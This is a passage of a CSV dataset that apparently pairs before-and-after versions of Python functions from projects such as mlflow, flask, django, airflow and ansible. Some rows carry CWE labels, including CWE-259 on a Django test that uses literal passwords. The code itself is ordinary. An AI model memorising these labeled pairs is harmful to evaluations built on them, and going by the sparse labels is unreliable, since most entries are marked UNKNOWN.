                env_vars[user_entry] = system_var

    if volumes is not None:
        for v in volumes:
            cmd += [""-v"", v]

    for key, value in env_vars.items():
        cmd += [""-e"", ""{key}={value}"".format(key=key, value=value)]
    cmd += [image.tags[0]]
    return cmd",,mlflow/mlflow,f7e0d525e4069d0d80c20cdbe4678a078ea2b5fb,"def _get_docker_command(image, active_run, docker_args=None, volumes=None, user_env_vars=None):
    docker_path = ""docker""
    cmd = [docker_path, ""run"", ""--rm""]

    if docker_args:
        for key, value in docker_args.items():
            cmd += ['--' + key, value]

    env_vars = _get_run_env_vars(run_id=active_run.info.run_id,
                                 experiment_id=active_run.info.experiment_id)
    tracking_uri = tracking.get_tracking_uri()
    tracking_cmds, tracking_envs = _get_docker_tracking_cmd_and_envs(tracking_uri)
    artifact_cmds, artifact_envs = \
        _get_docker_artifact_storage_cmd_and_envs(active_run.info.artifact_uri)

    cmd += tracking_cmds + artifact_cmds
    env_vars.update(tracking_envs)
    env_vars.update(artifact_envs)
    if user_env_vars is not None:
        for user_entry in user_env_vars:
            if isinstance(user_entry, list):
                # User has defined a new environment variable for the docker environment
                env_vars[user_entry[0]] = user_entry[1]
            else:
                # User wants to copy an environment variable from system environment
                system_var = os.environ.get(user_entry)
                if system_var is None:
                    raise MlflowException(
                        ""This project expects the %s environment variables to ""
                        ""be set on the machine running the project, but %s was ""
                        ""not set. Please ensure all expected environment variables ""
                        ""are set"" % ("", "".join(user_env_vars), user_entry))
                env_vars[user_entry] = system_var

    if volumes is not None:
        for v in volumes:
            cmd += [""-v"", v]

    for key, value in env_vars.items():
        cmd += [""-e"", ""{key}={value}"".format(key=key, value=value)]
    cmd += [image.tags[0]]
    return cmd"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/sessions.py,0,"def get_cookie_domain(self, app):
        """"""Helpful helper method that returns the cookie domain that should
        be used for the session cookie if session cookies are used.
        """"""
        if app.config['SESSION_COOKIE_DOMAIN'] is not None:
            return app.config['SESSION_COOKIE_DOMAIN']
        if app.config['SERVER_NAME'] is not None:
            # chop of the port which is usually not supported by browsers
            return '.' + app.config['SERVER_NAME'].rsplit(':', 1)[0]",,pallets/flask,ccf464189b116ea4ee458c2ccb24d64f9272e25b,"def get_cookie_domain(self, app):
        """"""Helpful helper method that returns the cookie domain that should
        be used for the session cookie if session cookies are used.
        """"""
        if app.config['SERVER_NAME'] is not None:
            # chop of the port which is usually not supported by browsers
            return '.' + app.config['SERVER_NAME'].rsplit(':', 1)[0]"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/node_visitor.py,0,"def visit_Str(self, node):
        """"""Visitor for AST String nodes

        add relevant information about node to
        the context for use in tests which inspect strings.
        :param node: The node that is being inspected
        :return: -
        """"""
        self.context[""str""] = node.s
        if not isinstance(node._bandit_parent, ast.Expr):  # docstring
            self.context[""linerange""] = b_utils.linerange(node._bandit_parent)
            self.update_scores(self.tester.run_tests(self.context, ""Str""))",UNKNOWN,PyCQA/bandit,1c0fc804a5e6330b9781a6c26339bf09d6da3e53,"def visit_Str(self, node):
        """"""Visitor for AST String nodes

        add relevant information about node to
        the context for use in tests which inspect strings.
        :param node: The node that is being inspected
        :return: -
        """"""
        self.context[""str""] = node.s
        if not isinstance(node._bandit_parent, ast.Expr):  # docstring
            self.context[""linerange""] = b_utils.linerange_fix(
                node._bandit_parent
            )
            self.update_scores(self.tester.run_tests(self.context, ""Str""))"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/cookies.py,0,"def get_full_url(self):
        # Only return the response's URL if the user hadn't set the Host
        # header
        if not self._r.headers.get('Host'):
            return self._r.url
        # If they did set it, retrieve it and reconstruct the expected domain
        host = self._r.headers['Host']
        parsed = urlparse(self._r.url)

        # If parsed url is str type, ensure that host is also str type
        if isinstance(parsed.scheme, str) and not isinstance(host, str)\
                and isinstance(host, bytes):
            host = host.decode('ascii')

        # Reconstruct the URL as we expect it
        return urlunparse([
            parsed.scheme, host, parsed.path, parsed.params, parsed.query,
            parsed.fragment
        ])",,psf/requests,01e405c6116c94d92057f7aaea58d51d1d7f90a7,"def get_full_url(self):
        # Only return the response's URL if the user hadn't set the Host
        # header
        if not self._r.headers.get('Host'):
            return self._r.url
        # If they did set it, retrieve it and reconstruct the expected domain
        host = self._r.headers['Host']
        parsed = urlparse(self._r.url)
        # Reconstruct the URL as we expect it
        return urlunparse([
            parsed.scheme, host, parsed.path, parsed.params, parsed.query,
            parsed.fragment
        ])"
,UNKNOWN,UNKNOWN,tests/regressiontests/test_client_regress/tests.py,1,"def test_exception_cleared(self):
        ""#5836 - A stale user exception isn't re-raised by the test client.""

        login = self.client.login(username='testclient',password='password')
        self.assertTrue(login, 'Could not log in')
        try:
            response = self.client.get(""/test_client_regress/staff_only/"")
            self.fail(""General users should not be able to visit this page"")
        except SuspiciousOperation:
            pass

        # At this point, an exception has been raised, and should be cleared.

        # This next operation should be successful; if it isn't we have a problem.
        login = self.client.login(username='staff', password='password')
        self.assertTrue(login, 'Could not log in')
        try:
            self.client.get(""/test_client_regress/staff_only/"")
        except SuspiciousOperation:
            self.fail(""Staff should be able to visit this page"")",CWE-259,django/django,566ac30eb92574f698a848739fa5008d5e08a2ee,"def test_exception_cleared(self):
        ""#5836 - A stale user exception isn't re-raised by the test client.""

        login = self.client.login(username='testclient',password='password')
        self.assertTrue(login, 'Could not log in')
        try:
            response = self.client.get(""/test_client_regress/staff_only/"")
            self.fail(""General users should not be able to visit this page"")
        except SuspiciousOperation:
            pass

        # At this point, an exception has been raised, and should be cleared.

        # This next operation should be successful; if it isn't we have a problem.
        login = self.client.login(username='staff', password='password')
        self.assertTrue(login, 'Could not log in')
        try:
            self.client.get(""/test_client_regress/staff_only/"")
        except SuspiciousOperation:
            self.fail(""Staff should be able to visit this page"")"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/execution_time/xcom.py,0,"def set(
        cls,
        key: str,
        value: Any,
        *,
        dag_id: str,
        task_id: str,
        run_id: str,
        map_index: int = -1,
        _mapped_length: int | None = None,
    ) -> None:
        """"""
        Store an XCom value.

        :param key: Key to store the XCom.
        :param value: XCom value to store.
        :param dag_id: DAG ID.
        :param task_id: Task ID.
        :param run_id: DAG run ID for the task.
        :param map_index: Optional map index to assign XCom for a mapped task.
            The default is ``-1`` (set for a non-mapped task).
        """"""
        from airflow.sdk.execution_time.task_runner import SUPERVISOR_COMMS

        value = cls.serialize_value(
            value=value,
            key=key,
            task_id=task_id,
            dag_id=dag_id,
            run_id=run_id,
            map_index=map_index,
        )

        SUPERVISOR_COMMS.send_request(
            log=log,
            msg=SetXCom(
                key=key,
                value=value,
                dag_id=dag_id,
                task_id=task_id,
                run_id=run_id,
                map_index=map_index,
                mapped_length=_mapped_length,
            ),
        )",CWE-Unknown,apache/airflow,b99146ba9a3448bdabd653acc97af0ad9715b2b7,"def set(
        cls,
        key: str,
        value: Any,
        *,
        dag_id: str,
        task_id: str,
        run_id: str,
        map_index: int = -1,
    ) -> None:
        """"""
        Store an XCom value.

        :param key: Key to store the XCom.
        :param value: XCom value to store.
        :param dag_id: DAG ID.
        :param task_id: Task ID.
        :param run_id: DAG run ID for the task.
        :param map_index: Optional map index to assign XCom for a mapped task.
            The default is ``-1`` (set for a non-mapped task).
        """"""
        from airflow.sdk.execution_time.task_runner import SUPERVISOR_COMMS

        value = cls.serialize_value(
            value=value,
            key=key,
            task_id=task_id,
            dag_id=dag_id,
            run_id=run_id,
            map_index=map_index,
        )

        SUPERVISOR_COMMS.send_request(
            log=log,
            msg=SetXCom(
                key=key,
                value=value,
                dag_id=dag_id,
                task_id=task_id,
                run_id=run_id,
                map_index=map_index,
            ),
        )"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/shap/__init__.py,0,"def _get_conda_and_pip_dependencies(conda_env):
    """"""
    Extract conda and pip dependencies from conda environments

    :param conda_env: Conda environment
    """"""

    conda_deps = []
    # NB: Set operations are required in case there are multiple references of MLflow as a
    # dependency to ensure that duplicate entries are not present in the final consolidated
    # dependency list.
    pip_deps_set = set()

    for dependency in conda_env[""dependencies""]:
        if isinstance(dependency, dict) and dependency[""pip""]:
            for pip_dependency in dependency[""pip""]:
                if pip_dependency != ""mlflow"":
                    pip_deps_set.add(pip_dependency)
        else:
            package_name = _get_package_name(dependency)
            if package_name is not None and package_name not in [""python"", ""pip""]:
                conda_deps.append(dependency)

    return conda_deps, sorted(pip_deps_set)",,mlflow/mlflow,49d8a2c60d19550d5cbfce96082f91f206b83487,"def _get_conda_and_pip_dependencies(conda_env):
    """"""
    Extract conda and pip dependencies from conda environments

    :param conda_env: Conda environment
    """"""

    conda_deps = []
    pip_deps = []

    for dependency in conda_env[""dependencies""]:
        if isinstance(dependency, dict) and dependency[""pip""]:
            for pip_dependency in dependency[""pip""]:
                if pip_dependency != ""mlflow"":
                    pip_deps.append(pip_dependency)
        else:
            package_name = _get_package_name(dependency)
            if package_name is not None and package_name not in [""python"", ""pip""]:
                conda_deps.append(dependency)

    return conda_deps, pip_deps"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/keras.py,0,"def _log_early_stop_callback_metrics(callback, history):
        if callback:
            callback_attrs = _get_early_stop_callback_attrs(callback)
            if callback_attrs is None:
                return
            stopped_epoch, restore_best_weights, patience = callback_attrs
            try_mlflow_log(mlflow.log_metric, ""stopped_epoch"", stopped_epoch)
            # Weights are restored only if early stopping occurs
            if stopped_epoch != 0 and restore_best_weights:
                restored_epoch = stopped_epoch - max(1, patience)
                try_mlflow_log(mlflow.log_metric, ""restored_epoch"", restored_epoch)
                restored_index = history.epoch.index(restored_epoch)
                restored_metrics = {
                    key: history.history[key][restored_index] for key in history.history.keys()
                }
                # Checking that a metric history exists
                metric_key = next(iter(history.history), None)
                if metric_key is not None:
                    last_epoch = len(history.history[metric_key])
                    try_mlflow_log(mlflow.log_metrics, restored_metrics, step=last_epoch)",,mlflow/mlflow,7d185a8f777864bd5d7e66735108e457b1a80852,"def _log_early_stop_callback_metrics(callback, history):
        if callback:
            callback_attrs = _get_early_stop_callback_attrs(callback)
            if callback_attrs is None:
                return
            stopped_epoch, restore_best_weights, patience = callback_attrs
            try_mlflow_log(mlflow.log_metric, ""stopped_epoch"", stopped_epoch)
            # Weights are restored only if early stopping occurs
            if stopped_epoch != 0 and restore_best_weights:
                restored_epoch = stopped_epoch - max(1, patience)
                try_mlflow_log(mlflow.log_metric, ""restored_epoch"", restored_epoch)
                restored_metrics = {
                    key: history.history[key][restored_epoch] for key in history.history.keys()
                }
                # Checking that a metric history exists
                metric_key = next(iter(history.history), None)
                if metric_key is not None:
                    last_epoch = len(history.history[metric_key])
                    try_mlflow_log(mlflow.log_metrics, restored_metrics, step=last_epoch)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/lib/ansible_test/_data/sanity/validate-modules/validate_modules/main.py,0,"def _validate_argument_spec(self, docs, spec, kwargs, context=None, last_context_spec=None):
        if not self.analyze_arg_spec:
            return

        if docs is None:
            docs = {}

        if context is None:
            context = []

        if last_context_spec is None:
            last_context_spec = kwargs

        try:
            if not context:
                add_fragments(docs, self.object_path, fragment_loader=fragment_loader, is_module=True)
        except Exception:
            # Cannot merge fragments
            return

        # Use this to access type checkers later
        module = NoArgsAnsibleModule({})

        self._validate_list_of_module_args('mutually_exclusive', last_context_spec.get('mutually_exclusive'), spec, context)
        self._validate_list_of_module_args('required_together', last_context_spec.get('required_together'), spec, context)
        self._validate_list_of_module_args('required_one_of', last_context_spec.get('required_one_of'), spec, context)
        self._validate_required_if(last_context_spec.get('required_if'), spec, context, module)
        self._validate_required_by(last_context_spec.get('required_by'), spec, context)

        provider_args = set()
        args_from_argspec = set()
        deprecated_args_from_argspec = set()
        doc_options = docs.get('options', {})
        if doc_options is None:
            doc_options = {}
        for arg, data in spec.items():
            restricted_argument_names = ('message', 'syslog_facility')
            if arg.lower() in restricted_argument_names:
                msg = ""Argument '%s' in argument_spec "" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += ""must not be one of %s as it is used "" \
                       ""internally by Ansible Core Engine"" % ("","".join(restricted_argument_names))
                self.reporter.error(
                    path=self.object_path,
                    code='invalid-argument-name',
                    msg=msg,
                )
                continue
            if 'aliases' in data:
                for al in data['aliases']:
                    if al.lower() in restricted_argument_names:
                        msg = ""Argument alias '%s' in argument_spec "" % al
                        if context:
                            msg += "" found in %s"" % "" -> "".join(context)
                        msg += ""must not be one of %s as it is used "" \
                               ""internally by Ansible Core Engine"" % ("","".join(restricted_argument_names))
                        self.reporter.error(
                            path=self.object_path,
                            code='invalid-argument-name',
                            msg=msg,
                        )
                        continue

            if not isinstance(data, dict):
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" must be a dictionary/hash when used""
                self.reporter.error(
                    path=self.object_path,
                    code='invalid-argument-spec',
                    msg=msg,
                )
                continue

            removed_at_date = data.get('removed_at_date', None)
            if removed_at_date is not None:
                try:
                    if parse_isodate(removed_at_date, allow_date=False) < datetime.date.today():
                        msg = ""Argument '%s' in argument_spec"" % arg
                        if context:
                            msg += "" found in %s"" % "" -> "".join(context)
                        msg += "" has a removed_at_date '%s' before today"" % removed_at_date
                        self.reporter.error(
                            path=self.object_path,
                            code='deprecated-date',
                            msg=msg,
                        )
                except ValueError:
                    # This should only happen when removed_at_date is not in ISO format. Since schema
                    # validation already reported this as an error, don't report it a second time.
                    pass

            deprecated_aliases = data.get('deprecated_aliases', None)
            if deprecated_aliases is not None:
                for deprecated_alias in deprecated_aliases:
                    if 'name' in deprecated_alias and 'date' in deprecated_alias:
                        try:
                            date = deprecated_alias['date']
                            if parse_isodate(date, allow_date=False) < datetime.date.today():
                                msg = ""Argument '%s' in argument_spec"" % arg
                                if context:
                                    msg += "" found in %s"" % "" -> "".join(context)
                                msg += "" has deprecated aliases '%s' with removal date '%s' before today"" % (
                                    deprecated_alias['name'], deprecated_alias['date'])
                                self.reporter.error(
                                    path=self.object_path,
                                    code='deprecated-date',
                                    msg=msg,
                                )
                        except ValueError:
                            # This should only happen when deprecated_alias['date'] is not in ISO format. Since
                            # schema validation already reported this as an error, don't report it a second
                            # time.
                            pass

            has_version = False
            if self.collection and self.collection_version is not None:
                compare_version = self.collection_version
                version_of_what = ""this collection (%s)"" % self.collection_version_str
                code_prefix = 'collection'
                has_version = True
            elif not self.collection:
                compare_version = LOOSE_ANSIBLE_VERSION
                version_of_what = ""Ansible (%s)"" % ansible_version
                code_prefix = 'ansible'
                has_version = True

            removed_in_version = data.get('removed_in_version', None)
            if removed_in_version is not None:
                try:
                    collection_name = data.get('removed_from_collection')
                    removed_in = self._create_version(str(removed_in_version), collection_name=collection_name)
                    if has_version and collection_name == self.collection_name and compare_version >= removed_in:
                        msg = ""Argument '%s' in argument_spec"" % arg
                        if context:
                            msg += "" found in %s"" % "" -> "".join(context)
                        msg += "" has a deprecated removed_in_version %r,"" % removed_in_version
                        msg += "" i.e. the version is less than or equal to the current version of %s"" % version_of_what
                        self.reporter.error(
                            path=self.object_path,
                            code=code_prefix + '-deprecated-version',
                            msg=msg,
                        )
                except ValueError as e:
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" has an invalid removed_in_version number %r: %s"" % (removed_in_version, e)
                    self.reporter.error(
                        path=self.object_path,
                        code='invalid-deprecated-version',
                        msg=msg,
                    )
                except TypeError:
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" has an invalid removed_in_version number %r: "" % (removed_in_version, )
                    msg += "" error while comparing to version of %s"" % version_of_what
                    self.reporter.error(
                        path=self.object_path,
                        code='invalid-deprecated-version',
                        msg=msg,
                    )

            if deprecated_aliases is not None:
                for deprecated_alias in deprecated_aliases:
                    if 'name' in deprecated_alias and 'version' in deprecated_alias:
                        try:
                            collection_name = deprecated_alias.get('collection_name')
                            version = self._create_version(str(deprecated_alias['version']), collection_name=collection_name)
                            if has_version and collection_name == self.collection_name and compare_version >= version:
                                msg = ""Argument '%s' in argument_spec"" % arg
                                if context:
                                    msg += "" found in %s"" % "" -> "".join(context)
                                msg += "" has deprecated aliases '%s' with removal in version %r,"" % (
                                    deprecated_alias['name'], deprecated_alias['version'])
                                msg += "" i.e. the version is less than or equal to the current version of %s"" % version_of_what
                                self.reporter.error(
                                    path=self.object_path,
                                    code=code_prefix + '-deprecated-version',
                                    msg=msg,
                                )
                        except ValueError as e:
                            msg = ""Argument '%s' in argument_spec"" % arg
                            if context:
                                msg += "" found in %s"" % "" -> "".join(context)
                            msg += "" has deprecated aliases '%s' with invalid removal version %r: %s"" % (
                                deprecated_alias['name'], deprecated_alias['version'], e)
                            self.reporter.error(
                                path=self.object_path,
                                code='invalid-deprecated-version',
                                msg=msg,
                            )
                        except TypeError:
                            msg = ""Argument '%s' in argument_spec"" % arg
                            if context:
                                msg += "" found in %s"" % "" -> "".join(context)
                            msg += "" has deprecated aliases '%s' with invalid removal version %r:"" % (
                                deprecated_alias['name'], deprecated_alias['version'])
                            msg += "" error while comparing to version of %s"" % version_of_what
                            self.reporter.error(
                                path=self.object_path,
                                code='invalid-deprecated-version',
                                msg=msg,
                            )

            aliases = data.get('aliases', [])
            if arg in aliases:
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" is specified as its own alias""
                self.reporter.error(
                    path=self.object_path,
                    code='parameter-alias-self',
                    msg=msg
                )
            if len(aliases) > len(set(aliases)):
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" has at least one alias specified multiple times in aliases""
                self.reporter.error(
                    path=self.object_path,
                    code='parameter-alias-repeated',
                    msg=msg
                )
            if not context and arg == 'state':
                bad_states = set(['list', 'info', 'get']) & set(data.get('choices', set()))
                for bad_state in bad_states:
                    self.reporter.error(
                        path=self.object_path,
                        code='parameter-state-invalid-choice',
                        msg=""Argument 'state' includes the value '%s' as a choice"" % bad_state)
            if not data.get('removed_in_version', None) and not data.get('removed_at_date', None):
                args_from_argspec.add(arg)
                args_from_argspec.update(aliases)
            else:
                deprecated_args_from_argspec.add(arg)
                deprecated_args_from_argspec.update(aliases)
            if arg == 'provider' and self.object_path.startswith('lib/ansible/modules/network/'):
                if data.get('options') is not None and not isinstance(data.get('options'), Mapping):
                    self.reporter.error(
                        path=self.object_path,
                        code='invalid-argument-spec-options',
                        msg=""Argument 'options' in argument_spec['provider'] must be a dictionary/hash when used"",
                    )
                elif data.get('options'):
                    # Record provider options from network modules, for later comparison
                    for provider_arg, provider_data in data.get('options', {}).items():
                        provider_args.add(provider_arg)
                        provider_args.update(provider_data.get('aliases', []))

            if data.get('required') and data.get('default', object) != object:
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" is marked as required but specifies a default. Arguments with a"" \
                       "" default should not be marked as required""
                self.reporter.error(
                    path=self.object_path,
                    code='no-default-for-required-parameter',
                    msg=msg
                )

            if arg in provider_args:
                # Provider args are being removed from network module top level
                # don't validate docs<->arg_spec checks below
                continue

            _type = data.get('type', 'str')
            if callable(_type):
                _type_checker = _type
            else:
                _type_checker = module._CHECK_ARGUMENT_TYPES_DISPATCHER.get(_type)

            _elements = data.get('elements')
            if (_type == 'list') and not _elements:
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" defines type as list but elements is not defined""
                self.reporter.error(
                    path=self.object_path,
                    code='parameter-list-no-elements',
                    msg=msg
                )
            if _elements:
                if not callable(_elements):
                    module._CHECK_ARGUMENT_TYPES_DISPATCHER.get(_elements)
                if _type != 'list':
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" defines elements as %s but it is valid only when value of parameter type is list"" % _elements
                    self.reporter.error(
                        path=self.object_path,
                        code='parameter-invalid-elements',
                        msg=msg
                    )

            arg_default = None
            if 'default' in data and not is_empty(data['default']):
                try:
                    with CaptureStd():
                        arg_default = _type_checker(data['default'])
                except (Exception, SystemExit):
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" defines default as (%r) but this is incompatible with parameter type %r"" % (data['default'], _type)
                    self.reporter.error(
                        path=self.object_path,
                        code='incompatible-default-type',
                        msg=msg
                    )
                    continue

            doc_options_args = []
            for alias in sorted(set([arg] + list(aliases))):
                if alias in doc_options:
                    doc_options_args.append(alias)
            if len(doc_options_args) == 0:
                # Undocumented arguments will be handled later (search for undocumented-parameter)
                doc_options_arg = {}
            else:
                doc_options_arg = doc_options[doc_options_args[0]]
                if len(doc_options_args) > 1:
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" with aliases %s is documented multiple times, namely as %s"" % (
                        "", "".join([(""'%s'"" % alias) for alias in aliases]),
                        "", "".join([(""'%s'"" % alias) for alias in doc_options_args])
                    )
                    self.reporter.error(
                        path=self.object_path,
                        code='parameter-documented-multiple-times',
                        msg=msg
                    )

            try:
                doc_default = None
                if 'default' in doc_options_arg and not is_empty(doc_options_arg['default']):
                    with CaptureStd():
                        doc_default = _type_checker(doc_options_arg['default'])
            except (Exception, SystemExit):
                msg = ""Argument '%s' in documentation"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" defines default as (%r) but this is incompatible with parameter type %r"" % (doc_options_arg.get('default'), _type)
                self.reporter.error(
                    path=self.object_path,
                    code='doc-default-incompatible-type',
                    msg=msg
                )
                continue

            if arg_default != doc_default:
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" defines default as (%r) but documentation defines default as (%r)"" % (arg_default, doc_default)
                self.reporter.error(
                    path=self.object_path,
                    code='doc-default-does-not-match-spec',
                    msg=msg
                )

            doc_type = doc_options_arg.get('type')
            if 'type' in data and data['type'] is not None:
                if doc_type is None:
                    if not arg.startswith('_'):  # hidden parameter, for example _raw_params
                        msg = ""Argument '%s' in argument_spec"" % arg
                        if context:
                            msg += "" found in %s"" % "" -> "".join(context)
                        msg += "" defines type as %r but documentation doesn't define type"" % (data['type'])
                        self.reporter.error(
                            path=self.object_path,
                            code='parameter-type-not-in-doc',
                            msg=msg
                        )
                elif data['type'] != doc_type:
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" defines type as %r but documentation defines type as %r"" % (data['type'], doc_type)
                    self.reporter.error(
                        path=self.object_path,
                        code='doc-type-does-not-match-spec',
                        msg=msg
                    )
            else:
                if doc_type is None:
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" uses default type ('str') but documentation doesn't define type""
                    self.reporter.error(
                        path=self.object_path,
                        code='doc-missing-type',
                        msg=msg
                    )
                elif doc_type != 'str':
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" implies type as 'str' but documentation defines as %r"" % doc_type
                    self.reporter.error(
                        path=self.object_path,
                        code='implied-parameter-type-mismatch',
                        msg=msg
                    )

            doc_choices = []
            try:
                for choice in doc_options_arg.get('choices', []):
                    try:
                        with CaptureStd():
                            doc_choices.append(_type_checker(choice))
                    except (Exception, SystemExit):
                        msg = ""Argument '%s' in documentation"" % arg
                        if context:
                            msg += "" found in %s"" % "" -> "".join(context)
                        msg += "" defines choices as (%r) but this is incompatible with argument type %r"" % (choice, _type)
                        self.reporter.error(
                            path=self.object_path,
                            code='doc-choices-incompatible-type',
                            msg=msg
                        )
                        raise StopIteration()
            except StopIteration:
                continue

            arg_choices = []
            try:
                for choice in data.get('choices', []):
                    try:
                        with CaptureStd():
                            arg_choices.append(_type_checker(choice))
                    except (Exception, SystemExit):
                        msg = ""Argument '%s' in argument_spec"" % arg
                        if context:
                            msg += "" found in %s"" % "" -> "".join(context)
                        msg += "" defines choices as (%r) but this is incompatible with argument type %r"" % (choice, _type)
                        self.reporter.error(
                            path=self.object_path,
                            code='incompatible-choices',
                            msg=msg
                        )
                        raise StopIteration()
            except StopIteration:
                continue

            if not compare_unordered_lists(arg_choices, doc_choices):
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" defines choices as (%r) but documentation defines choices as (%r)"" % (arg_choices, doc_choices)
                self.reporter.error(
                    path=self.object_path,
                    code='doc-choices-do-not-match-spec',
                    msg=msg
                )

            doc_required = doc_options_arg.get('required', False)
            data_required = data.get('required', False)
            if (doc_required or data_required) and not (doc_required and data_required):
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                if doc_required:
                    msg += "" is not required, but is documented as being required""
                else:
                    msg += "" is required, but is not documented as being required""
                self.reporter.error(
                    path=self.object_path,
                    code='doc-required-mismatch',
                    msg=msg
                )

            doc_elements = doc_options_arg.get('elements', None)
            doc_type = doc_options_arg.get('type', 'str')
            data_elements = data.get('elements', None)
            if (doc_elements and not doc_type == 'list'):
                msg = ""Argument '%s "" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" defines parameter elements as %s but it is valid only when value of parameter type is list"" % doc_elements
                self.reporter.error(
                    path=self.object_path,
                    code='doc-elements-invalid',
                    msg=msg
                )
            if (doc_elements or data_elements) and not (doc_elements == data_elements):
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                if data_elements:
                    msg += "" specifies elements as %s,"" % data_elements
                else:
                    msg += "" does not specify elements,""
                if doc_elements:
                    msg += ""but elements is documented as being %s"" % doc_elements
                else:
                    msg += ""but elements is not documented""
                self.reporter.error(
                    path=self.object_path,
                    code='doc-elements-mismatch',
                    msg=msg
                )

            spec_suboptions = data.get('options')
            doc_suboptions = doc_options_arg.get('suboptions', {})
            if spec_suboptions:
                if not doc_suboptions:
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" has sub-options but documentation does not define it""
                    self.reporter.error(
                        path=self.object_path,
                        code='missing-suboption-docs',
                        msg=msg
                    )
                self._validate_argument_spec({'options': doc_suboptions}, spec_suboptions, kwargs,
                                             context=context + [arg], last_context_spec=data)

        for arg in args_from_argspec:
            if not str(arg).isidentifier():
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" is not a valid python identifier""
                self.reporter.error(
                    path=self.object_path,
                    code='parameter-invalid',
                    msg=msg
                )

        if docs:
            args_from_docs = set()
            for arg, data in doc_options.items():
                args_from_docs.add(arg)
                args_from_docs.update(data.get('aliases', []))

            args_missing_from_docs = args_from_argspec.difference(args_from_docs)
            docs_missing_from_args = args_from_docs.difference(args_from_argspec | deprecated_args_from_argspec)
            for arg in args_missing_from_docs:
                if arg in provider_args:
                    # Provider args are being removed from network module top level
                    # So they are likely not documented on purpose
                    continue
                msg = ""Argument '%s'"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" is listed in the argument_spec, but not documented in the module documentation""
                self.reporter.error(
                    path=self.object_path,
                    code='undocumented-parameter',
                    msg=msg
                )
            for arg in docs_missing_from_args:
                msg = ""Argument '%s'"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" is listed in DOCUMENTATION.options, but not accepted by the module argument_spec""
                self.reporter.error(
                    path=self.object_path,
                    code='nonexistent-parameter-documented',
                    msg=msg
                )",,ansible/ansible,6dc2e9c2f4ed78a5cb6167ee10a86276176597a2,"def _validate_argument_spec(self, docs, spec, kwargs, context=None, last_context_spec=None):
        if not self.analyze_arg_spec:
            return

        if docs is None:
            docs = {}

        if context is None:
            context = []

        if last_context_spec is None:
            last_context_spec = kwargs

        try:
            if not context:
                add_fragments(docs, self.object_path, fragment_loader=fragment_loader, is_module=True)
        except Exception:
            # Cannot merge fragments
            return

        # Use this to access type checkers later
        module = NoArgsAnsibleModule({})

        self._validate_list_of_module_args('mutually_exclusive', last_context_spec.get('mutually_exclusive'), spec, context)
        self._validate_list_of_module_args('required_together', last_context_spec.get('required_together'), spec, context)
        self._validate_list_of_module_args('required_one_of', last_context_spec.get('required_one_of'), spec, context)
        self._validate_required_if(last_context_spec.get('required_if'), spec, context, module)
        self._validate_required_by(last_context_spec.get('required_by'), spec, context)

        provider_args = set()
        args_from_argspec = set()
        deprecated_args_from_argspec = set()
        doc_options = docs.get('options', {})
        if doc_options is None:
            doc_options = {}
        for arg, data in spec.items():
            restricted_argument_names = ('message', 'syslog_facility')
            if arg.lower() in restricted_argument_names:
                msg = ""Argument '%s' in argument_spec "" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += ""must not be one of %s as it is used "" \
                       ""internally by Ansible Core Engine"" % ("","".join(restricted_argument_names))
                self.reporter.error(
                    path=self.object_path,
                    code='invalid-argument-name',
                    msg=msg,
                )
                continue
            if 'aliases' in data:
                for al in data['aliases']:
                    if al.lower() in restricted_argument_names:
                        msg = ""Argument alias '%s' in argument_spec "" % al
                        if context:
                            msg += "" found in %s"" % "" -> "".join(context)
                        msg += ""must not be one of %s as it is used "" \
